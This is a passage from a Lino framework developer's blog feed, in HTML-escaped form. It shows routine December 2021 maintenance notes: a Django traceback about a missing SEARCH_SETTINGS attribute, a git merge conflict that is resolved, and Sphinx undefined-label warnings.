&lt;span class="property"&gt;&lt;span class="k"&gt;&lt;span class="pre"&gt;class&lt;/span&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="sig-prename descclassname"&gt;&lt;span class="pre"&gt;lino_xl.lib.glossary.&lt;/span&gt;&lt;/span&gt;&lt;span class="sig-name descname"&gt;&lt;span class="pre"&gt;UsageType&lt;/span&gt;&lt;/span&gt;&lt;a class="headerlink" href="#lino_xl.lib.glossary.UsageType" title="Link to this definition"&gt;¶&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;dl class="py attribute"&gt;
&lt;dt class="sig sig-object py" id="lino_xl.lib.glossary.UsageType.designation"&gt;
&lt;span class="sig-name descname"&gt;&lt;span class="pre"&gt;designation&lt;/span&gt;&lt;/span&gt;&lt;a class="headerlink" href="#lino_xl.lib.glossary.UsageType.designation" title="Link to this definition"&gt;¶&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;/dd&gt;&lt;/dl&gt;

&lt;/dd&gt;&lt;/dl&gt;

&lt;p&gt;I discovered that e.g. the documentation of the &lt;a class="reference external" href="https://hosting.lino-framework.org/ref/settings/#setting-languages" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;languages&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; setting was
quite broken.
We now have a reference about the individual settings in &lt;a class="reference external" href="https://hosting.lino-framework.org/ref/settings/#hg-ref-settings" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Site settings reference for maintainers&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I fixed two warnings during &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;book&lt;/span&gt;&lt;/code&gt; after the upgrade to
Django 4.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/1216.html</guid><pubDate>Thu, 16 Dec 2021 00:00:00 +0000</pubDate></item><item><title>Friday, December 3, 2021</title><link>https://luc.lino-framework.org/blog/2021/1203.html</link><description>&lt;section id="friday-december-3-2021"&gt;
&lt;h1&gt;Friday, December 3, 2021&lt;a class="headerlink" href="#friday-december-3-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The following traceback is for Sharif:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;./wsgi.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_wsgi_application&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/core/wsgi.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_wsgi_application&lt;/span&gt;
    &lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;set_prefix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;
    &lt;span class="n"&gt;apps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;populate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;INSTALLED_APPS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/apps/registry.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;114&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;populate&lt;/span&gt;
    &lt;span class="n"&gt;app_config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;import_models&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/apps/config.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;301&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;import_models&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models_module&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;import_module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;models_module_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/importlib/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;127&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;import_module&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_bootstrap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_gcd_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;:],&lt;/span&gt; &lt;span class="n"&gt;package&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/modlib/comments/models.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.modlib.search.mixins&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ElasticSearchable&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/modlib/search/mixins.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;elasticsearch_django.models&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SearchDocumentMixin&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/elasticsearch_django/models.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="n"&gt;UPDATE_STRATEGY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_setting&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;update_strategy&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;UPDATE_STRATEGY_FULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/elasticsearch_django/settings.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;39&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_setting&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;get_settings&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/elasticsearch_django/settings.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_settings&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SEARCH_SETTINGS&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;settings&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/conf/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;83&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__getattr__&lt;/span&gt;
    &lt;span class="n"&gt;val&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_wrapped&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="ne"&gt;AttributeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Settings&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;SEARCH_SETTINGS&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I ran &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/misc.html#xfile-pull.sh" title="(in getlino docs)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;pull.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; on LF. First problem:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Your&lt;/span&gt; &lt;span class="n"&gt;local&lt;/span&gt; &lt;span class="n"&gt;changes&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;following&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="n"&gt;would&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;overwritten&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;merge&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;modlib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;management&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;makehelp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;span class="n"&gt;Please&lt;/span&gt; &lt;span class="n"&gt;commit&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;changes&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;stash&lt;/span&gt; &lt;span class="n"&gt;them&lt;/span&gt; &lt;span class="n"&gt;before&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;merge&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Aborting&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;(Solution: &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;go&lt;/span&gt; &lt;span class="pre"&gt;lino&lt;/span&gt;&lt;/code&gt; and &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;git&lt;/span&gt; &lt;span class="pre"&gt;st&lt;/span&gt;&lt;/code&gt;, &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;git&lt;/span&gt; &lt;span class="pre"&gt;checkout&lt;/span&gt; &lt;span class="pre"&gt;.&lt;/span&gt;&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;Second problem:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;beid&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BeIdCardTypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;beid&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;beid&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ResidenceTypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;beid&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AllNotes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;EventTypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MyNotes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NoteTypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Notes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NotesByCompany&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NotesByEventType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;
